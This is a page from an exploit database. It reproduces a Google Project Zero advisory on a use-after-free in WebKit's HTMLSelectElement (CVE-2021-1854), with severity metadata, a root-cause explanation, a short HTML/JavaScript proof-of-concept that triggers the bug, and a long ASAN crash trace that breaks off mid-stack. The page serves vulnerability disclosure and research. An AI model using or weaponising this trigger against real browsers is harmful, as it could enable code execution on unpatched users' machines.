Exploitalert - Database of Exploits

WebKit HTMLSelectElement Use-After-Free

CVE	Category	Price	Severity
CVE-2021-1854	CWE-416	$50,000	High

Author	Risk	Exploitation Type	Date
Google Project Zero	Critical	Remote	2022-11-04

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H	0.05432	0.5724

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2022110007

WebKit HTMLSelectElement Use-After-Free

WebKit use-after-free in HTMLSelectElement There is a use-after-free in HTMLSelectElement. If the length of the HTMLSelectElement is set to a value greater than the existing options length then dummy HTMLOptionElements elements are created. These HTMLOptionsElements are stored as raw pointers in HTMLSelectElement::m_listItems. When `surroundElements()` {1} is called, all children of the parent element (`selectElement`) are replaced. The second time this is called it frees all of the dummy HTMLOptionElements. However `m_listItems` still holds pointers to all of these freed elements, causing the UAF when we attempt to access the `selectElement.length` {2}. Vulnerability confirmed on ASAN build of WebKit on OSX and WebkitGTK as of commit 742112a9a30b00bbcab5ed1abb45819be0f271c2 =========================================================== Proof of Concept ========================================================== <script> function jsfuzzer() { window.addEventListener(\"DOMNodeRemoved\", eventhandler3); svgvar00024.append(svgvar00021); } var i = 0; function eventhandler3() { i++; if (i > 1) { window.removeEventListener(\"DOMNodeRemoved\", eventhandler3); } var var00001 = document.createRange(); try { var00001.surroundContents(selectElement); } catch(e) { } // {1} selectElement.length = 2; // {2} // {3} - Need 1 of these 2 lines console.log(selectElement.length); //var var00170 = selectElement.item(1%selectElement.length); } </script> <body onload=jsfuzzer()> <svg id=\"svgvar00001\" > <glyph id=\"svgvar00021\"/> <altGlyph id=\"svgvar00024\"/> </svg> <select id=\"selectElement\">a</select> =========================================================== ASAN Report =========================================================== ================================================================= ==46529==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000091ae0 at pc 0x00014bab89eb bp 0x7ff7b90a6b80 sp 0x7ff7b90a6b78 READ of size 8 at 0x60c000091ae0 thread T0 ==46529==WARNING: invalid path to external symbolizer! ==46529==WARNING: Failed to use and restart external symbolizer! #0 0x14bab89ea in WebCore::QualifiedName::localName() const+0x2a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2449ea) #1 0x14bab89a1 in WebCore::Element::hasLocalName(WTF::AtomString const&) const+0x11 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2449a1) #2 0x14bab842b in WebCore::HTMLElement::hasTagName(WebCore::HTMLQualifiedName const&) const+0x1b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x24442b) #3 0x14e7274af in WTF::TypeCastTraits<WebCore::HTMLOptionElement const, WebCore::HTMLElement const, false>::checkTagName(WebCore::HTMLElement const&)+0x1f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2eb34af) #4 0x14e727488 in WTF::TypeCastTraits<WebCore::HTMLOptionElement const, WebCore::HTMLElement const, false>::isOfType(WebCore::HTMLElement const&)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2eb3488) #5 0x14e7207e8 in bool WTF::is<WebCore::HTMLOptionElement, WebCore::HTMLElement>(WebCore::HTMLElement&)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2eac7e8) #6 0x14f92b151 in WebCore::HTMLSelectElement::length() const+0x61 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x40b7151) #7 0x14f92b284 in WebCore::HTMLSelectElement::setLength(unsigned int)+0xf4 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x40b7284) #8 0x14f9141b2 in WebCore::HTMLOptionsCollection::setLength(unsigned int)+0x22 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x40a01b2) #9 0x14c9fce34 in WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)::'lambda'()::operator()() const+0x54 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1188e34) #10 0x14c9fccf6 in void WebCore::invokeFunctorPropagatingExceptionIfNecessary<WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)::'lambda'()&&)+0xd6 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1188cf6) #11 0x14c9fca52 in WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)+0x292 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1188a52) #12 0x14c8fdb43 in bool WebCore::IDLAttribute<WebCore::JSHTMLOptionsCollection>::set<&(WebCore::setJSHTMLOptionsCollection_lengthSetter(JSC::JSGlobalObject&, WebCore::JSHTMLOptionsCollection&, JSC::JSValue)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, long long, long long, JSC::PropertyName)+0x113 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1089b43) #13 0x14c8fda28 in WebCore::setJSHTMLOptionsCollection_length(JSC::JSGlobalObject*, long long, long long, JSC::PropertyName)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1089a28) #14 0x13e4f5eb9 in WTF::FunctionPtr<(WTF::PtrTag)30177, bool (JSC::JSGlobalObject*, long long, long long, JSC::PropertyName), (WTF::FunctionAttributes)1>::operator()(JSC::JSGlobalObject*, long long, long long, JSC::PropertyName) const+0x29 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x3641eb9) #15 0x13e636ad4 in JSC::JSObject::putInlineSlow(JSC::JSGlobalObject*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)+0xb14 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x3782ad4) #16 0x13e60f947 in JSC::JSObject::put(JSC::JSCell*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)+0x8b7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x375b947) #17 0x14c8efc49 in WebCore::JSHTMLOptionsCollection::put(JSC::JSCell*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)+0x689 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x107bc49) #18 0x13de96858 in llint_slow_path_put_by_id+0x2008 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x2fe2858) #19 0x13be40b5c in llint_entry+0xae2a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf8cb5c) #20 0x13be35b28 in vmEntryToJavaScript+0xd7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf81b28) #21 0x13d8a7a74 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x654 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x29f3a74) #22 0x13e2839b9 in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x49 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cf9b9) #23 0x13e283aaf in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0xdf (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfaaf) #24 0x13e283e6b in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfe6b) #25 0x14e953c5f in WebCore::JSExecState::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dfc5f) #26 0x14e9846d5 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&)+0xb05 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31106d5) #27 0x14f3c8c12 in WebCore::EventTarget::innerInvokeEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener, WTF::RawPtrTraits<WebCore::RegisteredEventListener>, WTF::DefaultRefDerefTraits<WebCore::RegisteredEventListener> >, 1ul, WTF::CrashOnOverflow, 2ul, WTF::FastMalloc>, WebCore::EventTarget::EventInvokePhase)+0x522 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b54c12) #28 0x14f3c84e8 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase)+0x148 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b544e8) #29 0x14f3932f9 in WebCore::EventContext::handleLocalEvents(WebCore::Event&, WebCore::EventTarget::EventInvokePhase) const+0x429 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b1f2f9) #30 0x14f3bbf5c in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&)+0x11c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b47f5c) #31 0x14f3bb390 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&)+0x5b0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b47390) #32 0x14f44ba38 in WebCore::Node::dispatchEvent(WebCore::Event&)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd7a38) #33 0x14f4990f7 in WebCore::ScopedEventQueue::dispatchEvent(WebCore::ScopedEventQueue::ScopedEvent const&) const+0xa7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c250f7) #34 0x14f498f32 in WebCore::ScopedEventQueue::enqueueEvent(WTF::Ref<WebCore::Event, WTF::RawPtrTraits<WebCore::Event> >&&)+0x152 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c24f32) #35 0x14f3bab17 in WebCore::EventDispatcher::dispatchScopedEvent(WebCore::Node&, WebCore::Event&)+0x1b7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b46b17) #36 0x14f44ba28 in WebCore::Node::dispatchScopedEvent(WebCore::Event&)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd7a28) #37 0x14f22b8fe in WebCore::dispatchChildRemovalEvents(WTF::Ref<WebCore::Node, WTF::RawPtrTraits<WebCore::Node> >&)+0x26e (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39b78fe) #38 0x14f21a1dd in WebCore::ContainerNode::removeChild(WebCore::Node&)+0x26d (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39a61dd) #39 0x14f219663 in WebCore::ContainerNode::removeSelfOrChildNodesForInsertion(WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node, WTF::RawPtrTraits<WebCore::Node> >, 11ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc>&)+0x313 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39a5663) #40 0x14f21ca80 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&)+0x1b0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39a8a80) #41 0x14f220e62 in WebCore::ContainerNode::appendChild(WebCore::Node&)+0x132 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39ace62) #42 0x14f2244f2 in WebCore::ContainerNode::append(WTF::FixedVector<std::__1::variant<WTF::RefPtr<WebCore::Node, WTF::RawPtrTraits<WebCore::Node>, WTF::DefaultRefDerefTraits<WebCore::Node> >, WTF::String> >&&)+0x172 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39b04f2) #43 0x14c492fc2 in WebCore::jsElementPrototypeFunction_appendBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()::operator()() const+0x42 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc1efc2) #44 0x14c492e02 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsElementPrototypeFunction_appendBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsElementPrototypeFunction_appendBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()&&)+0xe2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc1ee02) #45 0x14c492b0c in WebCore::jsElementPrototypeFunction_appendBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)+0x27c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc1eb0c) #46 0x14c492801 in long long WebCore::IDLOperation<WebCore::JSElement>::call<&(WebCore::jsElementPrototypeFunction_appendBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*)+0x101 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc1e801) #47 0x14c479738 in WebCore::jsElementPrototypeFunction_append(JSC::JSGlobalObject*, JSC::CallFrame*)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc05738) #48 0x2d205540c037 (<unknown module>) #49 0x13be52ead in llint_entry+0x1d17b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf9eead) #50 0x13be35b28 in vmEntryToJavaScript+0xd7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf81b28) #51 0x13d8a7a74 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x654 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x29f3a74) #52 0x13e2839b9 in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x49 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cf9b9) #53 0x13e283aaf in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0xdf (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfaaf) #54 0x13e283e6b in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfe6b) #55 0x14e953c5f in WebCore::JSExecState::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dfc5f) #56 0x14e9846d5 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&)+0xb05 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31106d5) #57 0x14f3c8c12 in WebCore::EventTarget::innerInvokeEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener, WTF::RawPtrTraits<WebCore::RegisteredEventListener>, WTF::DefaultRefDerefTraits<WebCore::RegisteredEventListener> >, 1ul, WTF::CrashOnOverflow, 2ul, WTF::FastMalloc>, WebCore::EventTarget::EventInvokePhase)+0x522 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b54c12) #58 0x14f3c84e8 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase)+0x148 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b544e8) #59 0x14f3932f9 in WebCore::EventContext::handleLocalEvents(WebCore::Event&, WebCore::EventTarget::EventInvokePhase) const+0x429 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b1f2f9) #60 0x14f3bbf5c in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&)+0x11c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b47f5c) #61 0x14f3bb390 in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&)+0x5b0 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b47390) #62 0x14f44ba38 in WebCore::Node::dispatchEvent(WebCore::Event&)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd7a38) #63 0x14f4990f7 in WebCore::ScopedEventQueue::dispatchEvent(WebCore::ScopedEventQueue::ScopedEvent const&) const+0xa7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c250f7) #64 0x14f498f32 in WebCore::ScopedEventQueue::enqueueEvent(WTF::Ref<WebCore::Event, WTF::RawPtrTraits<WebCore::Event> >&&)+0x152 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3c24f32) #65 0x14f3bab17 in WebCore::EventDispatcher::dispatchScopedEvent(WebCore::Node&, WebCore::Event&)+0x1b7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b46b17) #66 0x14f44ba28 in WebCore::Node::dispatchScopedEvent(WebCore::Event&)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd7a28) #67 0x14f44bc07 in WebCore::Node::dispatchSubtreeModifiedEvent()+0x1c7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd7c07) #68 0x14f37d8d3 in WebCore::Element::didAddAttribute(WebCore::QualifiedName const&, WTF::AtomString const&)+0x143 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b098d3) #69 0x14f37306a in WebCore::Element::addAttributeInternal(WebCore::QualifiedName const&, WTF::AtomString const&, WebCore::Element::SynchronizationOfLazyAttribute)+0x16a (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3aff06a) #70 0x14f3726bc in WebCore::Element::setAttributeInternal(unsigned int, WebCore::QualifiedName const&, WTF::AtomString const&, WebCore::Element::SynchronizationOfLazyAttribute)+0x13c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe6bc) #71 0x14f372c9c in WebCore::Element::setAttribute(WTF::AtomString const&, WTF::AtomString const&)+0x44c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afec9c) #72 0x14c47b9ec in WebCore::jsElementPrototypeFunction_setAttributeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()::operator()() const+0x5c (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc079ec) #73 0x14c47b812 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsElementPrototypeFunction_setAttributeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsElementPrototypeFunction_setAttributeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)::'lambda'()&&)+0xe2 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc07812) #74 0x14c47b3ee in WebCore::jsElementPrototypeFunction_setAttributeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)+0x3ae (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc073ee) #75 0x14c47afb1 in long long WebCore::IDLOperation<WebCore::JSElement>::call<&(WebCore::jsElementPrototypeFunction_setAttributeBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSElement*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*)+0x101 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc06fb1) #76 0x14c479488 in WebCore::jsElementPrototypeFunction_setAttribute(JSC::JSGlobalObject*, JSC::CallFrame*)+0x8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc05488) #77 0x2d205540c037 (<unknown module>) #78 0x13be52ead in llint_entry+0x1d17b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf9eead) #79 0x13be52ead in llint_entry+0x1d17b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf9eead) #80 0x13be35b28 in vmEntryToJavaScript+0xd7 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0xf81b28) #81 0x13d8a7a74 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x654 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x29f3a74) #82 0x13e2839b9 in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&)+0x49 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cf9b9) #83 0x13e283aaf in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0xdf (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfaaf) #84 0x13e283e6b in JSC::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10b (/Users/hacksonmacs/WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x33cfe6b) #85 0x14e953c5f in WebCore::JSExecState::profiledCall(JSC::JSGlobalObject*, JSC::ProfilingReason, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&)+0x10f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dfc5f) #86 0x14e9846d5 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&)+0xb05 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x31106d5) #87 0x14f3c8c12 in WebCore::EventTarget::innerInvokeEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener, WTF::RawPtrTraits<WebCore::RegisteredEventListener>, WTF::DefaultRefDerefTraits<WebCore::RegisteredEventListener> >, 1ul, WTF::CrashOnOverflow, 2ul, WTF::FastMalloc>, WebCore::EventTarget::EventInvokePhase)+0x522 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b54c12) #88 0x14f3c84e8 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase)+0x148 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3b544e8) #89 0x150297b84 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*)+0x384 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4a23b84) #90 0x1502ad77f in WebCore::DOMWindow::dispatchLoadEvent()+0x26f (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4a3977f) #91 0x14f28a805 in WebCore::Document::dispatchWindowLoadEvent()+0x55 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a16805) #92 0x14f28a110 in WebCore::Document::implicitClose()+0x360 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a16110) #93 0x1500ba488 in WebCore::FrameLoader::checkCallImplicitClose()+0xd8 (/Users/hacksonmacs/WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x4846488) #94 0x1500b9a62 in WebCore::FrameLoader::checkCompleted()+0x2b2 